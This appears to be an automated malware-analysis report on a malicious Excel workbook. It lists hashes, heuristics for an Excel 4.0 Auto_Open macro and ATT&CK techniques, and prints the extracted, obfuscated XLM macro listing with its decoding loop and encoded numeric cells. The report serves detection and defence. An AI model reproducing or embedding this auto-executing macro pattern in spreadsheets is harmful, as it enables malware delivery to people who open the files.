Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b170fb9318d81f71…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:45:25 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: d60c5b8b5e7d03992e87b5a1f4dbb75c SHA-1: f9802c2bfe882f94f30f0268217eea4fa91f75aa SHA-256: b170fb9318d81f712e75da32bbc10a200440c9cdff3fb314e9e984015a226abf
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open defined name, which is a common technique for executing malicious code upon opening the document. The macro sheet contains formulas that call dangerous API functions, suggesting an attempt to execute arbitrary code. No specific family could be identified, and no network IOCs were extracted.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6815 bytes
SHA-256: 7cd693cbd67cd2fe0e7a754fe8f6b7ede94d9c066029fb643ecea6b7401b6961
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  bRsfpTHmd
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H143 
' 0018     25 LABEL : Cell Value, String Constant - AvgPPdxpKa len=0 
' 0018     27 LABEL : Cell Value, String Constant - ByoVuPcoLJTF len=0 
' 0018     24 LABEL : Cell Value, String Constant - CRcZBMAbG len=0 
' 0018     25 LABEL : Cell Value, String Constant - GZqgJkbLrc len=0 
' 0018     20 LABEL : Cell Value, String Constant - hCZDx len=0 
' 0018     23 LABEL : Cell Value, String Constant - HiHYWFYD len=0 
' 0018     23 LABEL : Cell Value, String Constant - HnGPWLyN len=0 
' 0018     25 LABEL : Cell Value, String Constant - jahOpDgiZG len=0 
' 0018     20 LABEL : Cell Value, String Constant - lkwLs len=0 
' 0018     26 LABEL : Cell Value, String Constant - lQyMeVqdqBO len=0 
' 0018     20 LABEL : Cell Value, String Constant - oZLCB len=0 
' 0018     27 LABEL : Cell Value, String Constant - rJqIjRiWNeej len=0 
' 0018     23 LABEL : Cell Value, String Constant - rSENRgWk len=0 
' 0018     25 LABEL : Cell Value, String Constant - ruxPTmTang len=0 
' 0018     25 LABEL : Cell Value, String Constant - RwSEvbcTGI len=0 
' 0018     24 LABEL : Cell Value, String Constant - sQqxHlDwE len=0 
' 0018     27 LABEL : Cell Value, String Constant - ulCnLeiAqLhB len=0 
' 0018     25 LABEL : Cell Value, String Constant - URwOstogbP len=0 
' 0018     27 LABEL : Cell Value, String Constant - vkfxxuUYXiku len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZlhZn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  bRsfpTHmd,H57,"SET.NAME("oZLCB",0+VALUE("0"))",""
'  bRsfpTHmd,H59,"SET.NAME("ulCnLeiAqLhB",oZLCB)",""
'  bRsfpTHmd,H61,"SET.NAME("rSENRgWk",oZLCB)",""
'  bRsfpTHmd,H63,"SET.NAME("URwOstogbP",COUNTA(RwSEvbcTGI))",""
'  bRsfpTHmd,H66,"SET.NAME("jahOpDgiZG",COUNTA(hCZDx))",""
'  bRsfpTHmd,H70,[],""
'  bRsfpTHmd,H74,"SET.NAME("vkfxxuUYXiku","")",""
'  bRsfpTHmd,H79,"ulCnLeiAqLhB",""
'  bRsfpTHmd,H84,"SET.NAME("HiHYWFYD",HLOOKUP("*",RwSEvbcTGI,ulCnLeiAqLhB,FALSE))",""
'  bRsfpTHmd,H87,"ByoVuPcoLJTF",""
'  bRsfpTHmd,H91,"SET.NAME("HnGPWLyN",oZLCB)",""
'  bRsfpTHmd,H94,[],""
'  bRsfpTHmd,H96,"HnGPWLyN",""
'  bRsfpTHmd,H98,"ruxPTmTang",""
'  bRsfpTHmd,S98,"",707.00000000000000000000
'  bRsfpTHmd,S99,"",-760.00000000000000000000
'  bRsfpTHmd,S100,"",-163.00000000000000000000
'  bRsfpTHmd,S101,"",413.00000000000000000000
'  bRsfpTHmd,H102,"AvgPPdxpKa",""
'  bRsfpTHmd,S102,"",-506.00000000000000000000
'  bRsfpTHmd,S103,"",-191.00000000000000000000
'  bRsfpTHmd,H104,"rJqIjRiWNeej",""
'  bRsfpTHmd,H107,"SET.NAME("CRcZBMAbG",VALUE(HLOOKUP("*",hCZDx,rJqIjRiWNeej,FALSE)))",""
'  bRsfpTHmd,H109,"ZlhZn",""
'  bRsfpTHmd,H113,"vkfxxuUYXiku",""
'  bRsfpTHmd,H118,"rSENRgWk",""
'  bRsfpTHmd,H121,NEXT(),""
'  bRsfpTHmd,H125,"lkwLs",""
'  bRsfpTHmd,H129,[],""
'  bRsfpTHmd,H132,"lQyMeVqdqBO",""
'  bRsfpTHmd,H134,NEXT(),""
'  bRsfpTHmd,H138,RETURN(),""
'  bRsfpTHmd,H167,"SET.NAME("GZqgJkbLrc",H57)",""
'  bRsfpTHmd,H170,"RwSEvbcTGI",""
'  bRsfpTHmd,H172,"SET.NAME("hCZDx",R95C12)",""
'  bRsfpTHmd,H176,"SET.NAME("lQyMeVqdqBO",183)",""
'  bRsfpTHmd,H178,"SET.NAME("sQqxHlDwE",8)",""
'  bRsfpTHmd,H182,GZqgJkbLrc(),""
'  bRsfpTHmd,H183,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.